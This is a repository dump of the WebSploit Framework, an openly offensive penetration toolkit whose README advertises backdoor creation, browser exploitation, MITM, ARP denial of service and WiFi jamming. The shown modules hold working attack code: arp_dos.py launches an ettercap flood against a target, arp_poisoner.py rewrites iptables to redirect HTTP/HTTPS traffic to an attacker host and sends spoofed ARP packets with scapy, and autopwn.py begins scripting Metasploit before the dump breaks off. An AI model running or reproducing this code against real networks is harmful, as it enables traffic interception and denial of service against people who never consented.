.
226 |
--------------------------------------------------------------------------------
/LICENCE:
--------------------------------------------------------------------------------
1 | Websploit Framework
2 |
3 | Licence For:
4 | ------------------
5 | BackBox
6 | BackTrack
7 | BlackBuntu
8 | And All Hacking And Security Distro
9 | ------------------
10 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## [WebSploit Framework](https://github.com/The404Hacking/websploit)
2 |
3 | 
4 |
5 | Project in SourceForge : http://sourceforge.net/projects/websploit
6 |
7 | Author : 0x0ptim0us (Fardin Allahverdinazhand)
8 | Email & Report Bug : [0x0ptim0us@Gmail.Com](mailto:0x0ptim0us@Gmail.Com)
9 | Blog : [http://0x0ptim0us.blogspot.com](http://0x0ptim0us.blogspot.com)
10 |
11 | If your system doesn't have enough copies of the full text of the GNU
12 | General Public License already, we have provided another one in the
13 | "COPYING.GPL" file.
14 |
15 | # Supported Attack :
16 | [+]Autopwn - Used From Metasploit For Scan and Exploit Target Service
17 | [+]Browser AutoPWN - Exploit Victim Browser
18 | [+]wmap - Scan,Crawler Target Used From Metasploit wmap plugin
19 | [+]format infector - inject reverse & bind payload into file format
20 | [+]MLITM,XSS Phishing - Man Left In The Middle Attack
21 | [+]MITM - Man In The Middle Attack
22 | [+]USB Infection Attack - Create Executable Backdoor For Windows
23 | [+]MFOD Attack - Middle Finger Of Doom Attack
24 | [+]Java Applet Attack Vector
25 | [+]ARP DOS - ARP Cache Denial Of Service Attack With Random MAC
26 | [+]Directory Scanner - Scan Target Directorys
27 | [+]Apache US - Scan Apache users
28 | [+]PHPMyAdmin - Scan PHPMyAdmin Login Page
29 | [+]Web Killer - Using From The TCPKill For Down Your WebSite On Network
30 | [+]Fake AP - Fake Access Point
31 | [+]FakeUpdate - Fake update attack
32 | [+]Wifi Jammer - Wifi Jammer Attack
33 | [+]Wifi Dos - Wifi Dos RQ Attack
34 | [+]Wifi Mass De-authentication attack
35 |
36 | ## Download and Clone
37 | > Download: [https://github.com/The404Hacking/websploit/archive/master.zip](https://github.com/The404Hacking/websploit/archive/master.zip)
38 |
39 | > Clone: git clone [https://github.com/The404Hacking/websploit.git](https://github.com/The404Hacking/websploit.git)
40 |
41 | ## The404Hacking | Digital UnderGround Team
42 | [The404Hacking](https://T.me/The404Hacking)
43 |
44 | ## Follow us !
45 | [The404Hacking](https://T.me/The404Hacking) - [The404Cracking](https://T.me/The404Cracking)
46 |
47 | [Instagram](https://instagram.com/The404Hacking) - [GitHub](https://github.com/The404Hacking)
48 |
49 | [YouTube](http://yon.ir/youtube404) - [Aparat](http://www.aparat.com/The404Hacking)
50 |
51 | ## Email
52 | [The404Hacking.Team@Gmail.Com](mailto:The404Hacking.Team@Gmail.Com)
53 |
--------------------------------------------------------------------------------
/Screenshot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/Screenshot.png
--------------------------------------------------------------------------------
/Setup/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Websploit Framework Installation Script
3 | # The404Hacking - Digital Security ReSearch Group
4 | # WebSploit Setup Created By Amir Hossein Yeganeh (Sir.4m1R)
5 | # Report Bug : The404Hacking.Tean@Gmail.Com
6 | # Telegram Channel: @The404Hacking
7 | if [[ $EUID -ne 0 ]]; then
8 | echo "You must be root to run this script. Aborting...";
9 | exit 1;
10 | fi
11 | echo "Welcome To Websploit Framework Install Script"
12 | echo "Installing ..."
13 | sleep 3
14 | cp wsf-300.tar.gz /usr/share
15 | cd /usr/share
16 | tar -xf wsf-300.tar.gz
17 | chmod 755 /usr/share/websploit/*
18 | chmod 755 /usr/share/websploit/modules*
19 | chmod 755 /usr/share/websploit/modules/fakeupdate/*
20 | chmod 755 /usr/share/websploit/core/*
21 | ln -s /usr/share/websploit/websploit /usr/bin/websploit
22 | rm -rf /usr/share/wsf-300.tar.gz
23 | echo "Installed Directory : /usr/share/websploit"
24 | echo "Run From Terminal : sudo websploit"
25 | echo "Installation Complete."
26 |
--------------------------------------------------------------------------------
/Setup/wsf-300.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/Setup/wsf-300.tar.gz
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/__init__.py
--------------------------------------------------------------------------------
/core/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/__init__.pyc
--------------------------------------------------------------------------------
/core/about.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Toolkit Menu module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | from core import wcolors
8 | def about():
9 | print "\n"
10 | print(wcolors.color.RED + "Created By :" + wcolors.color.ENDC)
11 | print wcolors.color.CYAN + """
12 | Fardin Allahverdinazhand (0x0ptim0us)
13 | Location : Iran - Azarbayjan (Turkish)
14 | Twitter : @0x0ptim0us
15 | Report Bug : 0x0ptim0us@Gmail.Com
16 | """ + wcolors.color.ENDC
17 | print "\n"
18 | print(wcolors.color.RED + "Developer Team Not Available !\n" + wcolors.color.ENDC)
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/core/about.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/about.pyc
--------------------------------------------------------------------------------
/core/header.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework Header module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 |
8 | import random
9 | def main_header():
10 | header_1 = r"""
11 | __ __ _ _ _ _
12 | \ \ / / | | | | (_) |
13 | \ \ /\ / /__| |__ ___ _ __ | | ___ _| |_
14 | \ \/ \/ / _ \ '_ \/ __| '_ \| |/ _ \| | __|
15 | \ /\ / __/ |_) \__ \ |_) | | (_) | | |_
16 | \/ \/ \___|_.__/|___/ .__/|_|\___/|_|\__|
17 | | |
18 | |_| """
19 |
20 | header_2 = r"""
21 | __ __ __ ___ __
22 | /\ \ __/\ \ /\ \ /\_ \ __/\ \__
23 | \ \ \/\ \ \ \ __\ \ \____ ____ _____\//\ \ ___ /\_\ \ ,_\
24 | \ \ \ \ \ \ \ /'__`\ \ '__`\ /',__\/\ '__`\\ \ \ / __`\/\ \ \ \/
25 | \ \ \_/ \_\ \/\ __/\ \ \L\ \/\__, `\ \ \L\ \\_\ \_/\ \L\ \ \ \ \ \_
26 | \ `\___x___/\ \____\\ \_,__/\/\____/\ \ ,__//\____\ \____/\ \_\ \__\
27 | '\/__//__/ \/____/ \/___/ \/___/ \ \ \/ \/____/\/___/ \/_/\/__/
28 | \ \_\
29 | \/_/ """
30 | header_3 = r"""
31 | ( ( ) ( )
32 | )\))( ' ( ( /( )\ ( ( /(
33 | ((_)()\ ) ))\ )\()) ( ` ) ((_) ( )\ )\())
34 | _(())\_)() /((_)((_)\ )\ /(/( _ )\((_)(_))/
35 | \ \((_)/ /(_)) | |(_)((_)((_)_\ | | ((_)(_)| |_
36 | \ \/\/ / / -_) | '_ \(_-<| '_ \)| |/ _ \| || _|
37 | \_/\_/ \___| |_.__//__/| .__/ |_|\___/|_| \__|
38 | |_| """
39 |
40 |
41 |
42 | header_4 = r"""
43 | __ __ ___ ____ _____ ____ _ ___ ____ ______
44 | | |__| | / _]| \ / ___/| \| | / \| || |
45 | | | | | / [_ | o )( \_ | o ) | | || | | |
46 | | | | || _]| | \__ || _/| |___ | O || | |_| |_|
47 | | ` ' || [_ | O | / \ || | | || || | | |
48 | \ / | || | \ || | | || || | | |
49 | \_/\_/ |_____||_____| \___||__| |_____| \___/|____| |__|
50 | """
51 |
52 | header_5 = r"""
53 | db d8b db d88888b d8888b. .d8888. d8888b. db .d88b. d888888b d888888b
54 | 88 I8I 88 88' 88 `8D 88' YP 88 `8D 88 .8P Y8. `88' `~~88~~'
55 | 88 I8I 88 88ooooo 88oooY' `8bo. 88oodD' 88 88 88 88 88
56 | Y8 I8I 88 88~~~~~ 88~~~b. `Y8b. 88~~~ 88 88 88 88 88
57 | `8b d8'8b d8' 88. 88 8D db 8D 88 88booo. `8b d8' .88. 88
58 | `8b8' `8d8' Y88888P Y8888P' `8888Y' 88 Y88888P `Y88P' Y888888P YP """
59 |
60 | hdr_num = random.randint(1, 5)
61 | if hdr_num ==1:
62 | print header_1
63 | if hdr_num ==2:
64 | print header_2
65 | if hdr_num ==3:
66 | print header_3
67 | if hdr_num ==4:
68 | print header_4
69 | if hdr_num ==5:
70 | print header_5
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------
/core/header.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/header.pyc
--------------------------------------------------------------------------------
/core/help.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit FrameWork Help Module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | from core import wcolors
8 | from time import sleep
9 | def help():
10 | print "\n"
11 | print (wcolors.color.BLUE + "Commands\t\tDescription" + wcolors.color.ENDC)
12 | print (wcolors.color.GREEN + "---------------\t\t----------------" + wcolors.color.ENDC)
13 | print "set \t\t\tSet Value Of Options To Modules"
14 | print "scan\t\t\tScan Wifi (Wireless Modules)"
15 | print "stop\t\t\tStop Attack & Scan (Wireless Modules)"
16 | print "run \t\t\tExecute Module"
17 | print "use \t\t\tSelect Module For Use"
18 | print "os \t\t\tRun Linux Commands(ex : os ifconfig)"
19 | print "back\t\t\tExit Current Module"
20 | print "show modules\t\tShow Modules of Current Database"
21 | print "show options\t\tShow Current Options Of Selected Module"
22 | print "upgrade\t\t\tGet New Version"
23 | print "update\t\t\tUpdate Websploit Framework "
24 | print "about\t\t\tAbout US"
25 | print ""
--------------------------------------------------------------------------------
/core/help.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/help.pyc
--------------------------------------------------------------------------------
/core/menu.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit FrameWork Menu module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | from core import wcolors
8 |
9 | def main_info():
10 | ston = wcolors.color.BLUE + "[" + wcolors.color.ENDC
11 | print ""
12 | print "\t\t--=" + ston + wcolors.color.GREEN + "WebSploit Advanced MITM Framework" + wcolors.color.ENDC
13 | print "\t+---**---==" + ston + "Version :" + wcolors.color.RED + "3.0.0" + wcolors.color.ENDC
14 | print "\t+---**---==" + ston + "Codename :" + wcolors.color.RED + "Katana" + wcolors.color.ENDC
15 | print "\t+---**---==" + ston + "Available Modules : " + wcolors.color.GREEN + "20" + wcolors.color.ENDC
16 | print "\t\t--=" + ston + "Update Date : [" + wcolors.color.RED + "r3.0.0-000 20.9.2014" + wcolors.color.ENDC + "]"
17 | print "\n\n"
18 |
--------------------------------------------------------------------------------
/core/menu.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/menu.pyc
--------------------------------------------------------------------------------
/core/menu.py~:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit FrameWork Menu module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | from core import wcolors
8 |
9 | def main_info():
10 | ston = wcolors.color.BLUE + "[" + wcolors.color.ENDC
11 | print ""
12 | print "\t\t--=" + ston + "WebSploit FrameWork"
13 | print "\t+---**---==" + ston + "Version :" + wcolors.color.RED + "2.0.1" + wcolors.color.ENDC
14 | print "\t+---**---==" + ston + "Web Modules : " + wcolors.color.GREEN + "4" + wcolors.color.ENDC
15 | print "\t+---**---==" + ston + "Network Modules : " + wcolors.color.GREEN + "7" + wcolors.color.ENDC
16 | print "\t+---**---==" + ston + "Exploit Modules : " + wcolors.color.GREEN + "3" + wcolors.color.ENDC
17 | print "\t+---**---==" + ston + "Created By :" + wcolors.color.CYAN + "Fardin Allahverdinazhand (0x0ptim0us)" + wcolors.color.ENDC
18 | print "\t+---**---==" + ston + "Report Bug :" + wcolors.color.CYAN + "0x0ptim0us@Gmail.Com" + wcolors.color.ENDC
19 | print "\t\t--=" + ston + "Twitter :" + wcolors.color.CYAN + "@0x0ptim0us" + wcolors.color.ENDC
20 | print "\n\n"
--------------------------------------------------------------------------------
/core/modules_database.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | #Websploit FrameWork Database Module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | from core import wcolors
8 | from time import sleep
9 | def modules_database():
10 | print ""
11 | print (wcolors.color.BLUE + "Web Modules\t\t\tDescription" + wcolors.color.ENDC)
12 | print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
13 | print "web/apache_users\t\tScan Directory Of Apache Users"
14 | print "web/dir_scanner\t\t\tDirectory Scanner"
15 | print "web/wmap\t\t\tInformation Gathering From Victim Web Using (Metasploit Wmap)"
16 | print "web/pma\t\t\t\tPHPMyAdmin Login Page Scanner"
17 | print "web/cloudflare_resolver\t\tCloudFlare Resolver"
18 | print "\n"
19 | print (wcolors.color.BLUE + "Network Modules\t\t\tDescription" + wcolors.color.ENDC)
20 | print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
21 | print "network/arp_dos\t\t\tARP Cache Denial Of Service Attack"
22 | print "network/mfod\t\t\tMiddle Finger Of Doom Attack"
23 | print "network/mitm\t\t\tMan In The Middle Attack"
24 | print "network/mlitm\t\t\tMan Left In The Middle Attack"
25 | print "network/webkiller\t\tTCP Kill Attack"
26 | print "network/fakeupdate\t\tFake Update Attack Using DNS Spoof"
27 | print "network/arp_poisoner\t\tArp Poisoner"
28 | print "\n"
29 | print (wcolors.color.BLUE + "Exploit Modules\t\t\tDescription" + wcolors.color.ENDC)
30 | print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
31 | print "exploit/autopwn\t\t\tMetasploit Autopwn Service"
32 | print "exploit/browser_autopwn\t\tMetasploit Browser Autopwn Service"
33 | print "exploit/java_applet\t\tJava Applet Attack (Using HTML)"
34 | print "\n"
35 | print (wcolors.color.BLUE + "Wireless / Bluetooth Modules\tDescription" + wcolors.color.ENDC)
36 | print (wcolors.color.GREEN + "-------------------\t\t---------------------" + wcolors.color.ENDC)
37 | print "wifi/wifi_jammer\t\tWifi Jammer"
38 | print "wifi/wifi_dos\t\t\tWifi Dos Attack"
39 | print "wifi/wifi_honeypot\t\tWireless Honeypot(Fake AP)"
40 | print "wifi/mass_deauth\t\tMass Deauthentication Attack"
41 | print "bluetooth/bluetooth_pod\t\tBluetooth Ping Of Death Attack"
42 | print "\n"
43 |
--------------------------------------------------------------------------------
/core/modules_database.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/modules_database.pyc
--------------------------------------------------------------------------------
/core/update.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit FrameWork Update Module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | import os
8 | import subprocess
9 | from core import wcolors
10 | from time import sleep
11 |
12 | def update():
13 | print(wcolors.color.BLUE + "[*] Use wsf-update.py script for update, you can find this script in installation folder [/usr/share/websploit]" + wcolors.color.ENDC)
14 | pass
15 |
--------------------------------------------------------------------------------
/core/update.py~:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit FrameWork Update Module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | import os
8 | import subprocess
9 | from core import wcolors
10 | from time import sleep
11 |
12 | def update():
13 | print(wcolors.color.GREEN + "[*]Updating Websploit framework, Please Wait ..." + wcolors.color.ENDC)
14 | sleep(2)
15 | subprocess.Popen("git init", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
16 | sleep(2)
17 | os.system("git pull https://github.com/websploit/update.git")
18 | print(wcolors.color.GREEN + "[*]Update was completed successfully." + wcolors.color.ENDC)
19 | sleep(1)
20 |
--------------------------------------------------------------------------------
/core/upgrade.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | #Websploit FrameWork Upgrade Module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | import os
8 | import urllib
9 | from time import sleep
10 | from core import wcolors
11 | import webbrowser
12 |
13 | def upgrade():
14 | print(wcolors.color.BOLD + wcolors.color.BLUE + "[*]Checking For New Version, Please Wait ..." + wcolors.color.ENDC)
15 | try:
16 | cu = urllib.urlopen("http://sourceforge.net/projects/websploit/files/")
17 | res = cu.read()
18 | if 'WebSploit Framework V.3.0.1' in res:
19 | print(wcolors.color.GREEN + "[*]New Version Available")
20 | sleep(2)
21 | print("[*]Download Latest Version : https://sourceforge.net/projects/websploit/files/latest/download?source=files" + wcolors.color.ENDC)
22 | print(wcolors.color.CYAN + "[*]Starting Browser To Download Location, Please Wait ..." + wcolors.color.ENDC)
23 | sleep(2)
24 | webbrowser.open("https://sourceforge.net/projects/websploit/files/latest/download?source=files")
25 | else:
26 | print(wcolors.color.BOLD + wcolors.color.RED + "[*]New Version Not Available, This Is Latest Version Of The WebSploit Framework." + wcolors.color.ENDC)
27 | sleep(4)
28 | except(IOError):
29 | print(wcolors.color.BOLD + wcolors.color.RED + "[*]Connection Timeout, Check Your Internet Connection!" + wcolors.color.ENDC)
--------------------------------------------------------------------------------
/core/upgrade.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/upgrade.pyc
--------------------------------------------------------------------------------
/core/wcolors.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # WebSploit Toolkit
3 | # Idea By Dave Kennedy
4 | # Created By Fardin Allahverdinazhand (0x0ptim0us)
5 | class color:
6 | PURPLE = '\033[95m'
7 | CYAN = '\033[96m'
8 | DARKCYAN = '\033[36m'
9 | BLUE = '\033[94m'
10 | GREEN = '\033[92m'
11 | YELLOW = '\033[93m'
12 | RED = '\033[91m'
13 | BOLD = '\033[1m'
14 | UNDERL = '\033[4m'
15 | ENDC = '\033[0m'
16 | backBlack = '\033[40m'
17 | backRed = '\033[41m'
18 | backGreen = '\033[42m'
19 | backYellow = '\033[43m'
20 | backBlue = '\033[44m'
21 | backMagenta = '\033[45m'
22 | backCyan = '\033[46m'
23 | backWhite = '\033[47m'
24 |
--------------------------------------------------------------------------------
/core/wcolors.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/core/wcolors.pyc
--------------------------------------------------------------------------------
/modules/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/The404Hacking/websploit/0be9dace53e08f49eb8b18f1e0f40a47c2ba1c2c/modules/__init__.py
--------------------------------------------------------------------------------
/modules/arp_dos.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework ARP Denial Of Service Attack module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 | import os
7 | import subprocess
8 | from core import wcolors
9 | from core import help
10 | from time import sleep
11 |
12 | options = ["192.168.1.1", "192.168.1.3", "eth0"]
13 | def arp_dos():
14 | try:
15 | line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
16 | line_1 += ":"
17 | line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "ARP DOS" + wcolors.color.ENDC
18 | line_1 += " > "
19 | com = raw_input(line_1)
20 | com = com.lower()
21 | if com[0:13] =='set interface':
22 | interface_name = com[14:25]
23 | options[2] = interface_name
24 | print "Interface => " + options[2]
25 | arp_dos()
26 | elif com[0:10] =='set target':
27 | target_ip = com[11:27]
28 | options[1] = target_ip
29 | print "TARGET => " + options[1]
30 | arp_dos()
31 | elif com[0:10] =='set router':
32 | router_ip = com[11:27]
33 | options[0] = router_ip
34 | print "ROUTER => " + options[0]
35 | arp_dos()
36 | elif com[0:12] =='show options':
37 | print ""
38 | print "Options\t\t Value\t\t\t RQ\t Description"
39 | print "---------\t--------------\t\t----\t--------------"
40 | print "Interface\t"+options[2]+"\t\t\tyes\tNetwork Interface Name"
41 | print "TARGET\t\t"+options[1]+"\t\tyes\tTarget IP Address"
42 | print "ROUTER\t\t"+options[0]+"\t\tyes\tRouter IP Address"
43 | print ""
44 | arp_dos()
45 | elif com[0:2] =='os':
46 | os.system(com[3:])
47 | arp_dos()
48 | elif com[0:4] =='help':
49 | help.help()
50 | arp_dos()
51 | elif com[0:4] =='back':
52 | pass
53 | elif com[0:3] =='run':
54 | print(wcolors.color.BOLD + wcolors.color.BLUE + "[*]Attack Has Been Started ..." + wcolors.color.ENDC)
55 | command = 'ettercap -i '+ options[2] + ' -Tq -P rand_flood ' + '/'+options[0]+'/' + ' ' + '/'+options[1]+'/'
56 | subprocess.Popen(command, stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
57 | line_4 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
58 | line_4 += ":"
59 | line_4 += wcolors.color.UNDERL + wcolors.color.BLUE + "ARP DOS" + wcolors.color.ENDC
60 | line_4 += " > For Stop The ARP DOS Attack Press [Enter] : "
61 | fin = raw_input(line_4)
62 | os.system('killall ettercap')
63 | print(wcolors.color.BOLD + wcolors.color.GREEN + "[*]Attack Stoped." + wcolors.color.ENDC)
64 | else:
65 | print "Wrong Command =>" + com
66 | arp_dos()
67 | except(KeyboardInterrupt):
68 | print ""
69 |
--------------------------------------------------------------------------------
/modules/arp_poisoner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit Framework ARP Poisoner module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 |
7 | import os
8 | import subprocess
9 | from core import help
10 | from core import wcolors
11 | from scapy.all import *
12 | from time import sleep
13 |
14 | options = ["eth0", "192.168.1.1", "192.168.1.2", "192.168.1.3"]
15 | def arp_poisoner():
16 | try:
17 | line_1 = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
18 | line_1 += ":"
19 | line_1 += wcolors.color.UNDERL + wcolors.color.BLUE + "ARP_Poisoner" + wcolors.color.ENDC
20 | line_1 += " > "
21 | com = raw_input(line_1)
22 | com = com.lower()
23 | if com[0:13] == 'set interface':
24 | options[0] = com[14:20]
25 | print "INTERFACE => ",options[0]
26 | arp_poisoner()
27 | elif com[0:10] == 'set router':
28 | options[1] = com[11:26]
29 | print "ROUTER => ", options[1]
30 | arp_poisoner()
31 | elif com[0:10] == 'set target':
32 | options[2] = com[11:26]
33 | print "TARGET => ", options[2]
34 | arp_poisoner()
35 | elif com[0:9] =='set lhost':
36 | options[3] = com[10:25]
37 | print "LHOST => ", options[3]
38 | arp_poisoner()
39 | elif com[0:2] =='os':
40 | os.system(com[3:])
41 | arp_poisoner()
42 | elif com[0:4] =='help':
43 | help.help()
44 | arp_poisoner()
45 | elif com[0:4] =='back':
46 | pass
47 | elif com[0:12] =='show options':
48 | print ""
49 | print "Options\t\t Value\t\t\t\t RQ\t Description"
50 | print "---------\t--------------\t\t\t----\t--------------"
51 | print "Interface\t"+options[0]+"\t\t\t\tyes\tNetwork Interface Name"
52 | print "ROUTER\t\t"+options[1]+"\t\t\tyes\tRouter IP Address"
53 | print "TARGET\t\t"+options[2]+"\t\t\tyes\tTarget IP Address"
54 | print "LHOST\t\t"+options[3]+"\t\t\tyes\tLocal IP Address"
55 | print ""
56 | arp_poisoner()
57 | elif com[0:3] =='run':
58 | print (wcolors.color.BLUE + "[*]Setting Up ..." + wcolors.color.ENDC)
59 | exec1 = "echo 1 > /proc/sys/net/ipv4/ip_forward"
60 | exec2 = "echo 0 > /proc/sys/net/ipv4/conf/%s/send_redirects" % (options[0])
61 | exec3 = "iptables --flush"
62 | exec4 = "iptables --zero"
63 | exec5 = "iptables --delete-chain"
64 | exec6 = "iptables -F -t nat"
65 | exec7 = "iptables --append FORWARD --in-interface %s --jump ACCEPT" % (options[0])
66 | exec8 = "iptables --table nat --append POSTROUTING --out-interface %s --jump MASQUERADE" % (options[0])
67 | exec9 = "iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination %s" % (options[3])
68 | exec10= "iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination %s" % (options[3])
69 | print(wcolors.color.BLUE + "[*]IP Forwarding ... " + wcolors.color.ENDC),
70 | subprocess.Popen(exec1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
71 | subprocess.Popen(exec2, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
72 | sleep(0.5)
73 | print(wcolors.color.GREEN + "[OK]" + wcolors.color.ENDC)
74 | print(wcolors.color.BLUE + "[*]Configuring Iptables ... " + wcolors.color.ENDC),
75 | subprocess.Popen(exec3, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
76 | subprocess.Popen(exec4, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
77 | subprocess.Popen(exec5, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
78 | subprocess.Popen(exec6, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
79 | subprocess.Popen(exec7, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
80 | subprocess.Popen(exec8, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
81 | sleep(0.5)
82 | print(wcolors.color.GREEN + "[OK]" + wcolors.color.ENDC)
83 | print(wcolors.color.BLUE + "[*]Redirect Traffic on %s ... " + wcolors.color.ENDC) % (options[3]),
84 | subprocess.Popen(exec9, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
85 | subprocess.Popen(exec10, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
86 | sleep(0.5)
87 | print(wcolors.color.GREEN + "[OK]" + wcolors.color.ENDC)
88 | sleep(1)
89 | print(wcolors.color.BLUE + "[*]ARP Poisoning Has Been Started ..." + wcolors.color.ENDC)
90 | packet = ARP()
91 | packet.psrc = options[1]
92 | packet.pdst = options[2]
93 | try:
94 | while 1:
95 | send(packet, verbose=0)
96 | sleep(50)
97 | except:
98 | print (wcolors.color.RED + "[!]Something Wrong , Cannot Send Packet!")
99 | pass
100 | except(KeyboardInterrupt):
101 | print(wcolors.color.RED + "\n[*] (Ctrl + C ) Detected, Module Exit" + wcolors.color.ENDC)
102 |
--------------------------------------------------------------------------------
/modules/autopwn.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # WebSploit FrameWork Autopwn module
4 | # Created By 0x0ptim0us (Fardin Allahverdinazhand)
5 | # Email : 0x0ptim0us@Gmail.Com
6 | import os
7 | from time import sleep
8 | from core import wcolors
9 | from core import help
10 | options = ["192.168.1.1"]
11 | def autopwn():
12 | try:
13 | line = wcolors.color.UNDERL + wcolors.color.BLUE + "wsf" + wcolors.color.ENDC
14 | line += ":"
15 | line += wcolors.color.UNDERL + wcolors.color.BLUE + "Autopwn" + wcolors.color.ENDC
16 | line += " > "
17 | com = raw_input (line)
18 | com = com.lower()
19 | if com[0:10] =='set target':
20 | options[0] = com[11:27]
21 | print "TARGET => ", options[0]
22 | autopwn()
23 | elif com[0:12]=='show options':
24 | print ""
25 | print "Options\t\t Value\t\t\t RQ\t Description"
26 | print "---------\t--------------\t\t----\t--------------"
27 | print "TARGET\t\t"+options[0]+"\t\t\tyes\tTarget IP Address"
28 | print ""
29 | autopwn()
30 | elif com[0:2] =='os':
31 | os.system(com[3:])
32 | autopwn()
33 | elif com[0:4] =='help':
34 | help.help()
35 | autopwn()
36 | elif com[0:4] =='back':
37 | pass
38 | elif com[0:3] =='run':
39 | print (wcolors.color.YELLOW + "[*]Engine Has Been Started." + wcolors.color.ENDC)
40 | print (wcolors.color.YELLOW + "[*]Please Wait ..." + wcolors.color.ENDC)
41 | sleep(2)
42 | os.system('cp modules/db_autopwn.rb /tmp;chmod +x /tmp/db_autopwn.rb')
43 | os.chdir('//tmp')
44 | check_tmp = os.listdir(os.curdir)
45 | if 'websploit_autopwn.rc' in check_tmp:
46 | os.system('rm -rf websploit_autopwn.rc')
47 | myfile = open('websploit_autopwn.rc', 'w')
48 | myfile.write ('workspace -d websploit\n')
49 | myfile.write ('workspace -a websploit\n')
